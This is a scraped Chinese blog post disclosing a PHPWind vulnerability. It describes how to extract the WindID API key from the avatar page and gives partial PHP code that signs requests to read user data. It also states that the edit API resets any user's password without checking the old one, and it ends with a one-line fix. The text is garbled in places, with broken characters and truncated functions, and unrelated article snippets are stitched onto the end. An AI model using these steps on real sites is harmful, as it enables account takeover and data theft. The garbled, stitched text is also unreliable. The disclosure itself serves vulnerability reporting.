乙個PHPWIND可拿shell的高危漏洞

2022-09-22 21:54:20 字數 1899 閱讀 9643

沒想到phpwind犯了乙個和phpcms一樣的漏洞。

在src/applications/windidserver/api/controller/appcontroller.php內**:

public function listaction()

如何獲取可以訪問介面的key?

檢視使用者上傳頭像頁面就可以知道了:

/phpwind/src/windid/service/user/srv/windiduserservice.php

內的**:

$key = windidutility::appkey($appid, $time, $appkey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));去頭像頁面檢視一下原始檔

解出urldecode得:

去掉&**atar=http://localhost/phpwind/windid/attachment/**atar/000/00/00/1.jpg?r=88418

然後記得,還需要post乙個uid等於undefined

把do**atar換成list,**atar換成app得:

post:uid=undefined得:}

拿到這個key,我可以做的事情太多了,使用者體系內的所有事情我都可以做了。

拿到這個key,我可以做的事情太多了,使用者體系內的所有事情我都可以做了。

在官網測試了一下,拿到key後測試一下讀取乙個使用者的資料:

<?php $secretkey = '308c6c43a*****279dd61dd80e8d59bd';

$c = 'user';

$a = 'get';

$data = array('uid'=>'658925');

$time = time();

$key = appkey('1', time(), $secretkey, array('userid'=>658925), $data);

echo post(''.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data);

function post($uri,$data)

function appkey($apiid, $time, $secretkey, $get, $post)

foreach ($post as $k=>$v)

return md5(md5($apiid.'||'.$secretkey).$time.$str);

}?>

在user的api內還有乙個edit的介面,可以修改任意使用者的密碼,呼叫它,不填寫old_password,將可以修改任意使用者的密碼,不會驗證原密碼的。

修復方案:

不要輕信key,可以將m,a,c都加入key的運算。

乙個站長對phpwind和Discuz 的看法

我07年開始接觸網際網路,遇到的第乙個程式應該是phpwind了吧,當時有個免費申請論壇的 叫uu1001 phpwind官方推出的,後來改叫uueasy了 我經常在上面混,也偶爾使用phpwind來搭建一些論壇。到了09年上大學的時候,我替我們系建了乙個 當時dwww.cppcns.comiscu...

如何使用Afl Fuzz去測試乙個shell指令碼

眾所周知,模糊測試技術已經成為了測試軟體質量的重要手段。基於模糊測試技術開發的測試工具有很多,其中最長被使用而且改進也是最多的乙個工具就是afl american fuzz lop 本篇文章不會贅述如何安裝afl,以及如何使用afl進行簡單的fuzz。由於很多被測程式都有自己的乙個入口,而這些入口有...

Linux乙個簡單的每秒執行命令shell指令碼

遷移了一台伺服器,發現其中乙個專案的資料沒有更新,查詢原伺服器的資料,資料有更新,並找到了rsync服務,從其他伺服器傳輸資料,那麼如何找到這台伺服器?因為是從遠端傳輸到本地,而且不是很頻繁,手動查詢通訊記錄,沒有結果。寫了乙個指令碼進行跟蹤下,考慮到通訊時間短的問題。需要每秒執行一次命令,通過li...